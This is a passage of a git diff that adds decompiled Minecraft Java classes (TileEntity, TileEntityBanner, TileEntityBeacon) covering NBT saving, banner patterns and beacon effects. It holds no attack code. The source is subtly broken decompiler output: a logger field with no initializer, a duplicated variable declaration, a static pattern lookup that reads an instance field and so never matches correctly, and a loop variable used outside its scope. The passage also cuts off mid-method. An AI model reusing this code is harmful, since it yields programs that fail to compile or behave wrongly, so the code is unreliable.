+      var1.setInteger("Weight", itemWeight);
+      return var1;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntity.java b/src/minecraft/net/minecraft/tileentity/TileEntity.java
new file mode 100644
index 0000000..f228e8e
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntity.java
@@ -0,0 +1,329 @@
+package net.minecraft.tileentity;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockJukebox.TileEntityJukebox;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.Packet;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public abstract class TileEntity
+{
+  private static final Logger logger = ;
+  
+
+
+
+  private static Map nameToClassMap = Maps.newHashMap();
+  
+
+
+
+  private static Map classToNameMap = Maps.newHashMap();
+  
+  protected World worldObj;
+  
+  protected BlockPos pos;
+  
+  protected boolean tileEntityInvalid;
+  
+  private int blockMetadata;
+  protected Block blockType;
+  private static final String __OBFID = "CL_00000340";
+  
+  public TileEntity()
+  {
+    pos = BlockPos.ORIGIN;
+    blockMetadata = -1;
+  }
+  
+
+
+
+  private static void addMapping(Class cl, String id)
+  {
+    if (nameToClassMap.containsKey(id))
+    {
+      throw new IllegalArgumentException("Duplicate id: " + id);
+    }
+    
+
+    nameToClassMap.put(id, cl);
+    classToNameMap.put(cl, id);
+  }
+  
+
+
+
+
+  public World getWorld()
+  {
+    return worldObj;
+  }
+  
+
+
+
+  public void setWorldObj(World worldIn)
+  {
+    worldObj = worldIn;
+  }
+  
+
+
+
+  public boolean hasWorldObj()
+  {
+    return worldObj != null;
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    pos = new BlockPos(compound.getInteger("x"), compound.getInteger("y"), compound.getInteger("z"));
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    String var2 = (String)classToNameMap.get(getClass());
+    
+    if (var2 == null)
+    {
+      throw new RuntimeException(getClass() + " is missing a mapping! This is a bug!");
+    }
+    
+
+    compound.setString("id", var2);
+    compound.setInteger("x", pos.getX());
+    compound.setInteger("y", pos.getY());
+    compound.setInteger("z", pos.getZ());
+  }
+  
+
+
+
+
+  public static TileEntity createAndLoadEntity(NBTTagCompound nbt)
+  {
+    TileEntity var1 = null;
+    
+    try
+    {
+      Class var2 = (Class)nameToClassMap.get(nbt.getString("id"));
+      
+      if (var2 != null)
+      {
+        var1 = (TileEntity)var2.newInstance();
+      }
+    }
+    catch (Exception var3)
+    {
+      var3.printStackTrace();
+    }
+    
+    if (var1 != null)
+    {
+      var1.readFromNBT(nbt);
+    }
+    else
+    {
+      logger.warn("Skipping BlockEntity with id " + nbt.getString("id"));
+    }
+    
+    return var1;
+  }
+  
+  public int getBlockMetadata()
+  {
+    if (blockMetadata == -1)
+    {
+      IBlockState var1 = worldObj.getBlockState(pos);
+      blockMetadata = var1.getBlock().getMetaFromState(var1);
+    }
+    
+    return blockMetadata;
+  }
+  
+
+
+
+
+  public void markDirty()
+  {
+    if (worldObj != null)
+    {
+      IBlockState var1 = worldObj.getBlockState(pos);
+      blockMetadata = var1.getBlock().getMetaFromState(var1);
+      worldObj.func_175646_b(pos, this);
+      
+      if (getBlockType() != Blocks.air)
+      {
+        worldObj.updateComparatorOutputLevel(pos, getBlockType());
+      }
+    }
+  }
+  
+
+
+
+  public double getDistanceSq(double p_145835_1_, double p_145835_3_, double p_145835_5_)
+  {
+    double var7 = pos.getX() + 0.5D - p_145835_1_;
+    double var9 = pos.getY() + 0.5D - p_145835_3_;
+    double var11 = pos.getZ() + 0.5D - p_145835_5_;
+    return var7 * var7 + var9 * var9 + var11 * var11;
+  }
+  
+  public double getMaxRenderDistanceSquared()
+  {
+    return 4096.0D;
+  }
+  
+  public BlockPos getPos()
+  {
+    return pos;
+  }
+  
+
+
+
+  public Block getBlockType()
+  {
+    if (blockType == null)
+    {
+      blockType = worldObj.getBlockState(pos).getBlock();
+    }
+    
+    return blockType;
+  }
+  
+
+
+
+  public Packet getDescriptionPacket()
+  {
+    return null;
+  }
+  
+  public boolean isInvalid()
+  {
+    return tileEntityInvalid;
+  }
+  
+
+
+
+  public void invalidate()
+  {
+    tileEntityInvalid = true;
+  }
+  
+
+
+
+  public void validate()
+  {
+    tileEntityInvalid = false;
+  }
+  
+  public boolean receiveClientEvent(int id, int type)
+  {
+    return false;
+  }
+  
+  public void updateContainingBlockInfo()
+  {
+    blockType = null;
+    blockMetadata = -1;
+  }
+  
+  public void addInfoToCrashReport(CrashReportCategory reportCategory)
+  {
+    reportCategory.addCrashSectionCallable("Name", new Callable()
+    {
+      private static final String __OBFID = "CL_00000341";
+      
+      public String call() {
+        return (String)TileEntity.classToNameMap.get(getClass()) + " // " + getClass().getCanonicalName();
+      }
+    });
+    
+    if (worldObj != null)
+    {
+      CrashReportCategory.addBlockInfo(reportCategory, pos, getBlockType(), getBlockMetadata());
+      reportCategory.addCrashSectionCallable("Actual block type", new Callable()
+      {
+        private static final String __OBFID = "CL_00000343";
+        
+        public String call() {
+          int var1 = Block.getIdFromBlock(worldObj.getBlockState(pos).getBlock());
+          
+          try
+          {
+            return String.format("ID #%d (%s // %s)", new Object[] { Integer.valueOf(var1), Block.getBlockById(var1).getUnlocalizedName(), Block.getBlockById(var1).getClass().getCanonicalName() });
+          }
+          catch (Throwable var3) {}
+          
+          return "ID #" + var1;
+        }
+        
+      });
+      reportCategory.addCrashSectionCallable("Actual block data value", new Callable()
+      {
+        private static final String __OBFID = "CL_00000344";
+        
+        public String call() {
+          IBlockState var1 = worldObj.getBlockState(pos);
+          int var2 = var1.getBlock().getMetaFromState(var1);
+          
+          if (var2 < 0)
+          {
+            return "Unknown? (Got " + var2 + ")";
+          }
+          
+
+          String var3 = String.format("%4s", new Object[] { Integer.toBinaryString(var2) }).replace(" ", "0");
+          return String.format("%1$d / 0x%1$X / 0b%2$s", new Object[] { Integer.valueOf(var2), var3 });
+        }
+      });
+    }
+  }
+  
+
+  public void setPos(BlockPos posIn)
+  {
+    pos = posIn;
+  }
+  
+  static
+  {
+    addMapping(TileEntityFurnace.class, "Furnace");
+    addMapping(TileEntityChest.class, "Chest");
+    addMapping(TileEntityEnderChest.class, "EnderChest");
+    addMapping(BlockJukebox.TileEntityJukebox.class, "RecordPlayer");
+    addMapping(TileEntityDispenser.class, "Trap");
+    addMapping(TileEntityDropper.class, "Dropper");
+    addMapping(TileEntitySign.class, "Sign");
+    addMapping(TileEntityMobSpawner.class, "MobSpawner");
+    addMapping(TileEntityNote.class, "Music");
+    addMapping(TileEntityPiston.class, "Piston");
+    addMapping(TileEntityBrewingStand.class, "Cauldron");
+    addMapping(TileEntityEnchantmentTable.class, "EnchantTable");
+    addMapping(TileEntityEndPortal.class, "Airportal");
+    addMapping(TileEntityCommandBlock.class, "Control");
+    addMapping(TileEntityBeacon.class, "Beacon");
+    addMapping(TileEntitySkull.class, "Skull");
+    addMapping(TileEntityDaylightDetector.class, "DLDetector");
+    addMapping(TileEntityHopper.class, "Hopper");
+    addMapping(TileEntityComparator.class, "Comparator");
+    addMapping(TileEntityFlowerPot.class, "FlowerPot");
+    addMapping(TileEntityBanner.class, "Banner");
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityBanner.java b/src/minecraft/net/minecraft/tileentity/TileEntityBanner.java
new file mode 100644
index 0000000..61f4080
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityBanner.java
@@ -0,0 +1,304 @@
+package net.minecraft.tileentity;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+
+public class TileEntityBanner extends TileEntity
+{
+  private int baseColor;
+  private NBTTagList field_175118_f;
+  private boolean field_175119_g;
+  private List field_175122_h;
+  private List field_175123_i;
+  private String field_175121_j;
+  private static final String __OBFID = "CL_00002044";
+  
+  public TileEntityBanner() {}
+  
+  public void setItemValues(ItemStack p_175112_1_)
+  {
+    field_175118_f = null;
+    
+    if ((p_175112_1_.hasTagCompound()) && (p_175112_1_.getTagCompound().hasKey("BlockEntityTag", 10)))
+    {
+      NBTTagCompound var2 = p_175112_1_.getTagCompound().getCompoundTag("BlockEntityTag");
+      
+      if (var2.hasKey("Patterns"))
+      {
+        field_175118_f = ((NBTTagList)var2.getTagList("Patterns", 10).copy());
+      }
+      
+      if (var2.hasKey("Base", 99))
+      {
+        baseColor = var2.getInteger("Base");
+      }
+      else
+      {
+        baseColor = (p_175112_1_.getMetadata() & 0xF);
+      }
+    }
+    else
+    {
+      baseColor = (p_175112_1_.getMetadata() & 0xF);
+    }
+    
+    field_175122_h = null;
+    field_175123_i = null;
+    field_175121_j = "";
+    field_175119_g = true;
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    compound.setInteger("Base", baseColor);
+    
+    if (field_175118_f != null)
+    {
+      compound.setTag("Patterns", field_175118_f);
+    }
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    baseColor = compound.getInteger("Base");
+    field_175118_f = compound.getTagList("Patterns", 10);
+    field_175122_h = null;
+    field_175123_i = null;
+    field_175121_j = null;
+    field_175119_g = true;
+  }
+  
+
+
+
+  public net.minecraft.network.Packet getDescriptionPacket()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    writeToNBT(var1);
+    return new net.minecraft.network.play.server.S35PacketUpdateTileEntity(pos, 6, var1);
+  }
+  
+  public int getBaseColor()
+  {
+    return baseColor;
+  }
+  
+  public static int getBaseColor(ItemStack stack)
+  {
+    NBTTagCompound var1 = stack.getSubCompound("BlockEntityTag", false);
+    return (var1 != null) && (var1.hasKey("Base")) ? var1.getInteger("Base") : stack.getMetadata();
+  }
+  
+  public static int func_175113_c(ItemStack p_175113_0_)
+  {
+    NBTTagCompound var1 = p_175113_0_.getSubCompound("BlockEntityTag", false);
+    return (var1 != null) && (var1.hasKey("Patterns")) ? var1.getTagList("Patterns", 10).tagCount() : 0;
+  }
+  
+  public List func_175114_c()
+  {
+    func_175109_g();
+    return field_175122_h;
+  }
+  
+  public List func_175110_d()
+  {
+    func_175109_g();
+    return field_175123_i;
+  }
+  
+  public String func_175116_e()
+  {
+    func_175109_g();
+    return field_175121_j;
+  }
+  
+  private void func_175109_g()
+  {
+    if ((field_175122_h == null) || (field_175123_i == null) || (field_175121_j == null))
+    {
+      if (!field_175119_g)
+      {
+        field_175121_j = "";
+      }
+      else
+      {
+        field_175122_h = Lists.newArrayList();
+        field_175123_i = Lists.newArrayList();
+        field_175122_h.add(EnumBannerPattern.BASE);
+        field_175123_i.add(EnumDyeColor.func_176766_a(baseColor));
+        field_175121_j = ("b" + baseColor);
+        
+        if (field_175118_f != null)
+        {
+          for (int var1 = 0; var1 < field_175118_f.tagCount(); var1++)
+          {
+            NBTTagCompound var2 = field_175118_f.getCompoundTagAt(var1);
+            EnumBannerPattern var3 = EnumBannerPattern.func_177268_a(var2.getString("Pattern"));
+            
+            if (var3 != null)
+            {
+              field_175122_h.add(var3);
+              int var4 = var2.getInteger("Color");
+              field_175123_i.add(EnumDyeColor.func_176766_a(var4));
+              field_175121_j = (field_175121_j + var3.func_177273_b() + var4);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  public static void func_175117_e(ItemStack p_175117_0_)
+  {
+    NBTTagCompound var1 = p_175117_0_.getSubCompound("BlockEntityTag", false);
+    
+    if ((var1 != null) && (var1.hasKey("Patterns", 9)))
+    {
+      NBTTagList var2 = var1.getTagList("Patterns", 10);
+      
+      if (var2.tagCount() > 0)
+      {
+        var2.removeTag(var2.tagCount() - 1);
+        
+        if (var2.hasNoTags())
+        {
+          p_175117_0_.getTagCompound().removeTag("BlockEntityTag");
+          
+          if (p_175117_0_.getTagCompound().hasNoTags())
+          {
+            p_175117_0_.setTagCompound(null);
+          }
+        }
+      }
+    }
+  }
+  
+  public static enum EnumBannerPattern
+  {
+    BASE("BASE", 0, "base", "b"), 
+    SQUARE_BOTTOM_LEFT("SQUARE_BOTTOM_LEFT", 1, "square_bottom_left", "bl", "   ", "   ", "#  "), 
+    SQUARE_BOTTOM_RIGHT("SQUARE_BOTTOM_RIGHT", 2, "square_bottom_right", "br", "   ", "   ", "  #"), 
+    SQUARE_TOP_LEFT("SQUARE_TOP_LEFT", 3, "square_top_left", "tl", "#  ", "   ", "   "), 
+    SQUARE_TOP_RIGHT("SQUARE_TOP_RIGHT", 4, "square_top_right", "tr", "  #", "   ", "   "), 
+    STRIPE_BOTTOM("STRIPE_BOTTOM", 5, "stripe_bottom", "bs", "   ", "   ", "###"), 
+    STRIPE_TOP("STRIPE_TOP", 6, "stripe_top", "ts", "###", "   ", "   "), 
+    STRIPE_LEFT("STRIPE_LEFT", 7, "stripe_left", "ls", "#  ", "#  ", "#  "), 
+    STRIPE_RIGHT("STRIPE_RIGHT", 8, "stripe_right", "rs", "  #", "  #", "  #"), 
+    STRIPE_CENTER("STRIPE_CENTER", 9, "stripe_center", "cs", " # ", " # ", " # "), 
+    STRIPE_MIDDLE("STRIPE_MIDDLE", 10, "stripe_middle", "ms", "   ", "###", "   "), 
+    STRIPE_DOWNRIGHT("STRIPE_DOWNRIGHT", 11, "stripe_downright", "drs", "#  ", " # ", "  #"), 
+    STRIPE_DOWNLEFT("STRIPE_DOWNLEFT", 12, "stripe_downleft", "dls", "  #", " # ", "#  "), 
+    STRIPE_SMALL("STRIPE_SMALL", 13, "small_stripes", "ss", "# #", "# #", "   "), 
+    CROSS("CROSS", 14, "cross", "cr", "# #", " # ", "# #"), 
+    STRAIGHT_CROSS("STRAIGHT_CROSS", 15, "straight_cross", "sc", " # ", "###", " # "), 
+    TRIANGLE_BOTTOM("TRIANGLE_BOTTOM", 16, "triangle_bottom", "bt", "   ", " # ", "# #"), 
+    TRIANGLE_TOP("TRIANGLE_TOP", 17, "triangle_top", "tt", "# #", " # ", "   "), 
+    TRIANGLES_BOTTOM("TRIANGLES_BOTTOM", 18, "triangles_bottom", "bts", "   ", "# #", " # "), 
+    TRIANGLES_TOP("TRIANGLES_TOP", 19, "triangles_top", "tts", " # ", "# #", "   "), 
+    DIAGONAL_LEFT("DIAGONAL_LEFT", 20, "diagonal_left", "ld", "## ", "#  ", "   "), 
+    DIAGONAL_RIGHT("DIAGONAL_RIGHT", 21, "diagonal_up_right", "rd", "   ", "  #", " ##"), 
+    DIAGONAL_LEFT_MIRROR("DIAGONAL_LEFT_MIRROR", 22, "diagonal_up_left", "lud", "   ", "#  ", "## "), 
+    DIAGONAL_RIGHT_MIRROR("DIAGONAL_RIGHT_MIRROR", 23, "diagonal_right", "rud", " ##", "  #", "   "), 
+    CIRCLE_MIDDLE("CIRCLE_MIDDLE", 24, "circle", "mc", "   ", " # ", "   "), 
+    RHOMBUS_MIDDLE("RHOMBUS_MIDDLE", 25, "rhombus", "mr", " # ", "# #", " # "), 
+    HALF_VERTICAL("HALF_VERTICAL", 26, "half_vertical", "vh", "## ", "## ", "## "), 
+    HALF_HORIZONTAL("HALF_HORIZONTAL", 27, "half_horizontal", "hh", "###", "###", "   "), 
+    HALF_VERTICAL_MIRROR("HALF_VERTICAL_MIRROR", 28, "half_vertical_right", "vhr", " ##", " ##", " ##"), 
+    HALF_HORIZONTAL_MIRROR("HALF_HORIZONTAL_MIRROR", 29, "half_horizontal_bottom", "hhb", "   ", "###", "###"), 
+    BORDER("BORDER", 30, "border", "bo", "###", "# #", "###"), 
+    CURLY_BORDER("CURLY_BORDER", 31, "curly_border", "cbo", new ItemStack(Blocks.vine)), 
+    CREEPER("CREEPER", 32, "creeper", "cre", new ItemStack(Items.skull, 1, 4)), 
+    GRADIENT("GRADIENT", 33, "gradient", "gra", "# #", " # ", " # "), 
+    GRADIENT_UP("GRADIENT_UP", 34, "gradient_up", "gru", " # ", " # ", "# #"), 
+    BRICKS("BRICKS", 35, "bricks", "bri", new ItemStack(Blocks.brick_block)), 
+    SKULL("SKULL", 36, "skull", "sku", new ItemStack(Items.skull, 1, 1)), 
+    FLOWER("FLOWER", 37, "flower", "flo", new ItemStack(Blocks.red_flower, 1, BlockFlower.EnumFlowerType.OXEYE_DAISY.func_176968_b())), 
+    MOJANG("MOJANG", 38, "mojang", "moj", new ItemStack(Items.golden_apple, 1, 1));
+    
+    private String field_177284_N;
+    private String field_177285_O;
+    private String[] field_177291_P;
+    private ItemStack field_177290_Q;
+    private static final EnumBannerPattern[] $VALUES = { BASE, SQUARE_BOTTOM_LEFT, SQUARE_BOTTOM_RIGHT, SQUARE_TOP_LEFT, SQUARE_TOP_RIGHT, STRIPE_BOTTOM, STRIPE_TOP, STRIPE_LEFT, STRIPE_RIGHT, STRIPE_CENTER, STRIPE_MIDDLE, STRIPE_DOWNRIGHT, STRIPE_DOWNLEFT, STRIPE_SMALL, CROSS, STRAIGHT_CROSS, TRIANGLE_BOTTOM, TRIANGLE_TOP, TRIANGLES_BOTTOM, TRIANGLES_TOP, DIAGONAL_LEFT, DIAGONAL_RIGHT, DIAGONAL_LEFT_MIRROR, DIAGONAL_RIGHT_MIRROR, CIRCLE_MIDDLE, RHOMBUS_MIDDLE, HALF_VERTICAL, HALF_HORIZONTAL, HALF_VERTICAL_MIRROR, HALF_HORIZONTAL_MIRROR, BORDER, CURLY_BORDER, CREEPER, GRADIENT, GRADIENT_UP, BRICKS, SKULL, FLOWER, MOJANG };
+    private static final String __OBFID = "CL_00002043";
+    
+    private EnumBannerPattern(String p_i45670_1_, int p_i45670_2_, String p_i45670_3_, String p_i45670_4_)
+    {
+      field_177291_P = new String[3];
+      field_177284_N = p_i45670_3_;
+      field_177285_O = p_i45670_4_;
+    }
+    
+    private EnumBannerPattern(String p_i45671_1_, int p_i45671_2_, String p_i45671_3_, String p_i45671_4_, ItemStack p_i45671_5_)
+    {
+      this(p_i45671_1_, p_i45671_2_, p_i45671_3_, p_i45671_4_);
+      field_177290_Q = p_i45671_5_;
+    }
+    
+    private EnumBannerPattern(String p_i45672_1_, int p_i45672_2_, String p_i45672_3_, String p_i45672_4_, String p_i45672_5_, String p_i45672_6_, String p_i45672_7_)
+    {
+      this(p_i45672_1_, p_i45672_2_, p_i45672_3_, p_i45672_4_);
+      field_177291_P[0] = p_i45672_5_;
+      field_177291_P[1] = p_i45672_6_;
+      field_177291_P[2] = p_i45672_7_;
+    }
+    
+    public String func_177271_a()
+    {
+      return field_177284_N;
+    }
+    
+    public String func_177273_b()
+    {
+      return field_177285_O;
+    }
+    
+    public String[] func_177267_c()
+    {
+      return field_177291_P;
+    }
+    
+    public boolean func_177270_d()
+    {
+      return (field_177290_Q != null) || (field_177291_P[0] != null);
+    }
+    
+    public boolean func_177269_e()
+    {
+      return field_177290_Q != null;
+    }
+    
+    public ItemStack func_177272_f()
+    {
+      return field_177290_Q;
+    }
+    
+    public static EnumBannerPattern func_177268_a(String p_177268_0_)
+    {
+      EnumBannerPattern[] var1 = values();
+      int var2 = var1.length;
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        EnumBannerPattern var4 = var1[var3];
+        
+        if (field_177285_O.equals(p_177268_0_))
+        {
+          return var4;
+        }
+      }
+      
+      return null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityBeacon.java b/src/minecraft/net/minecraft/tileentity/TileEntityBeacon.java
new file mode 100644
index 0000000..0415627
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityBeacon.java
@@ -0,0 +1,505 @@
+package net.minecraft.tileentity;
+
+import com.google.common.collect.Lists;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockStainedGlass;
+import net.minecraft.block.BlockStainedGlassPane;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.passive.EntitySheep;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerBeacon;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.Packet;
+import net.minecraft.network.play.server.S35PacketUpdateTileEntity;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.stats.AchievementList;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class TileEntityBeacon extends TileEntityLockable implements IUpdatePlayerListBox, IInventory
+{
+  public static final Potion[][] effectsList = { { Potion.moveSpeed, Potion.digSpeed }, { Potion.resistance, Potion.jump }, { Potion.damageBoost }, { Potion.regeneration } };
+  private final List field_174909_f = Lists.newArrayList();
+  
+  private long field_146016_i;
+  
+  private float field_146014_j;
+  private boolean isComplete;
+  private int levels = -1;
+  
+  private int primaryEffect;
+  
+  private int secondaryEffect;
+  
+  private ItemStack payment;
+  
+  private String field_146008_p;
+  
+  private static final String __OBFID = "CL_00000339";
+  
+
+  public TileEntityBeacon() {}
+  
+
+  public void update()
+  {
+    if (worldObj.getTotalWorldTime() % 80L == 0L)
+    {
+      func_174908_m();
+    }
+  }
+  
+  public void func_174908_m()
+  {
+    func_146003_y();
+    func_146000_x();
+  }
+  
+  private void func_146000_x()
+  {
+    if ((isComplete) && (levels > 0) && (!worldObj.isRemote) && (primaryEffect > 0))
+    {
+      double var1 = levels * 10 + 10;
+      byte var3 = 0;
+      
+      if ((levels >= 4) && (primaryEffect == secondaryEffect))
+      {
+        var3 = 1;
+      }
+      
+      int var4 = pos.getX();
+      int var5 = pos.getY();
+      int var6 = pos.getZ();
+      AxisAlignedBB var7 = new AxisAlignedBB(var4, var5, var6, var4 + 1, var5 + 1, var6 + 1).expand(var1, var1, var1).addCoord(0.0D, worldObj.getHeight(), 0.0D);
+      List var8 = worldObj.getEntitiesWithinAABB(EntityPlayer.class, var7);
+      Iterator var9 = var8.iterator();
+      
+
+      while (var9.hasNext())
+      {
+        EntityPlayer var10 = (EntityPlayer)var9.next();
+        var10.addPotionEffect(new PotionEffect(primaryEffect, 180, var3, true, true));
+      }
+      
+      if ((levels >= 4) && (primaryEffect != secondaryEffect) && (secondaryEffect > 0))
+      {
+        var9 = var8.iterator();
+        
+        while (var9.hasNext())
+        {
+          EntityPlayer var10 = (EntityPlayer)var9.next();
+          var10.addPotionEffect(new PotionEffect(secondaryEffect, 180, 0, true, true));
+        }
+      }
+    }
+  }
+  
+  private void func_146003_y()
+  {
+    int var1 = levels;
+    int var2 = pos.getX();
+    int var3 = pos.getY();
+    int var4 = pos.getZ();
+    levels = 0;
+    field_174909_f.clear();
+    isComplete = true;
+    BeamSegment var5 = new BeamSegment(EntitySheep.func_175513_a(EnumDyeColor.WHITE));
+    field_174909_f.add(var5);
+    boolean var6 = true;
+    
+
+    for (int var7 = var3 + 1; var7 < worldObj.getActualHeight(); var7++)
+    {
+      BlockPos var8 = new BlockPos(var2, var7, var4);
+      IBlockState var9 = worldObj.getBlockState(var8);
+      float[] var10;
+      float[] var10;
+      if (var9.getBlock() == Blocks.stained_glass)
+      {
+        var10 = EntitySheep.func_175513_a((EnumDyeColor)var9.getValue(BlockStainedGlass.field_176547_a));
+      }
+      else
+      {
+        if (var9.getBlock() != Blocks.stained_glass_pane)
+        {
+          if (var9.getBlock().getLightOpacity() >= 15)
+          {
+            isComplete = false;
+            field_174909_f.clear();
+            break;
+          }
+          
+          var5.func_177262_a();
+          continue;
+        }
+        
+        var10 = EntitySheep.func_175513_a((EnumDyeColor)var9.getValue(BlockStainedGlassPane.field_176245_a));
+      }
+      
+      if (!var6)
+      {
+        var10 = new float[] { (var5.func_177263_b()[0] + var10[0]) / 2.0F, (var5.func_177263_b()[1] + var10[1]) / 2.0F, (var5.func_177263_b()[2] + var10[2]) / 2.0F };
+      }
+      
+      if (Arrays.equals(var10, var5.func_177263_b()))
+      {
+        var5.func_177262_a();
+      }
+      else
+      {
+        var5 = new BeamSegment(var10);
+        field_174909_f.add(var5);
+      }
+      
+      var6 = false;
+    }
+    
+    if (isComplete)
+    {
+      for (var7 = 1; var7 <= 4; levels = (var7++))
+      {
+        int var14 = var3 - var7;
+        
+        if (var14 < 0) {
+          break;
+        }
+        
+
+        boolean var16 = true;
+        
+        for (int var17 = var2 - var7; (var17 <= var2 + var7) && (var16); var17++)
+        {
+          for (int var11 = var4 - var7; var11 <= var4 + var7; var11++)
+          {
+            Block var12 = worldObj.getBlockState(new BlockPos(var17, var14, var11)).getBlock();
+            
+            if ((var12 != Blocks.emerald_block) && (var12 != Blocks.gold_block) && (var12 != Blocks.diamond_block) && (var12 != Blocks.iron_block))
+            {
+              var16 = false;
+              break;
+            }
+          }
+        }
+        
+        if (!var16) {
+          break;
+        }
+      }
+      
+
+      if (levels == 0)
+      {
+        isComplete = false;
+      }
+    }
+    
+    if ((!worldObj.isRemote) && (levels == 4) && (var1 < levels))
+    {
+      Iterator var13 = worldObj.getEntitiesWithinAABB(EntityPlayer.class, new AxisAlignedBB(var2, var3, var4, var2, var3 - 4, var4).expand(10.0D, 5.0D, 10.0D)).iterator();
+      
+      while (var13.hasNext())
+      {
+        EntityPlayer var15 = (EntityPlayer)var13.next();
+        var15.triggerAchievement(AchievementList.fullBeacon);
+      }
+    }
+  }
+  
+  public List func_174907_n()
+  {
+    return field_174909_f;
+  }
+  
+  public float shouldBeamRender()
+  {
+    if (!isComplete)
+    {
+      return 0.0F;
+    }
+    
+
+    int var1 = (int)(worldObj.getTotalWorldTime() - field_146016_i);
+    field_146016_i = worldObj.getTotalWorldTime();
+    
+    if (var1 > 1)
+    {
+      field_146014_j -= var1 / 40.0F;
+      
+      if (field_146014_j < 0.0F)
+      {
+        field_146014_j = 0.0F;
+      }
+    }
+    
+    field_146014_j += 0.025F;
+    
+    if (field_146014_j > 1.0F)
+    {
+      field_146014_j = 1.0F;
+    }
+    
+    return field_146014_j;
+  }
+  
+
+
+
+
+  public Packet getDescriptionPacket()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    writeToNBT(var1);
+    return new S35PacketUpdateTileEntity(pos, 3, var1);
+  }
+  
+  public double getMaxRenderDistanceSquared()
+  {
+    return 65536.0D;
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    primaryEffect = compound.getInteger("Primary");
+    secondaryEffect = compound.getInteger("Secondary");
+    levels = compound.getInteger("Levels");
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    compound.setInteger("Primary", primaryEffect);
+    compound.setInteger("Secondary", secondaryEffect);
+    compound.setInteger("Levels", levels);
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return 1;
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return slotIn == 0 ? payment : null;
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if ((index == 0) && (payment != null))
+    {
+      if (count >= payment.stackSize)
+      {
+        ItemStack var3 = payment;
+        payment = null;
+        return var3;
+      }
+      
+
+      payment.stackSize -= count;
+      return new ItemStack(payment.getItem(), count, payment.getMetadata());
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if ((index == 0) && (payment != null))
+    {
+      ItemStack var2 = payment;
+      payment = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    if (index == 0)
+    {
+      payment = stack;
+    }
+  }
+  
+
+
+
+  public String getName()
+  {
+    return hasCustomName() ? field_146008_p : "container.beacon";
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return (field_146008_p != null) && (field_146008_p.length() > 0);
+  }
+  
+  public void func_145999_a(String p_145999_1_)
+  {
+    field_146008_p = p_145999_1_;
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 1;
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return worldObj.getTileEntity(pos) == this;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return (stack.getItem() == Items.emerald) || (stack.getItem() == Items.diamond) || (stack.getItem() == Items.gold_ingot) || (stack.getItem() == Items.iron_ingot);
+  }
+  
+  public String getGuiID()
+  {
+    return "minecraft:beacon";
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    return new ContainerBeacon(playerInventory, this);
+  }
+  
+  public int getField(int id)
+  {
+    switch (id)
+    {
+    case 0: 
+      return levels;
+    
+    case 1: 
+      return primaryEffect;
+    
+    case 2: 
+      return secondaryEffect;
+    }
+    
+    return 0;
+  }
+  
+
+  public void setField(int id, int value)
+  {
+    switch (id)
+    {
+    case 0: 
+      levels = value;
+      break;
+    
+    case 1: 
+      primaryEffect = value;
+      break;
+    
+    case 2: 
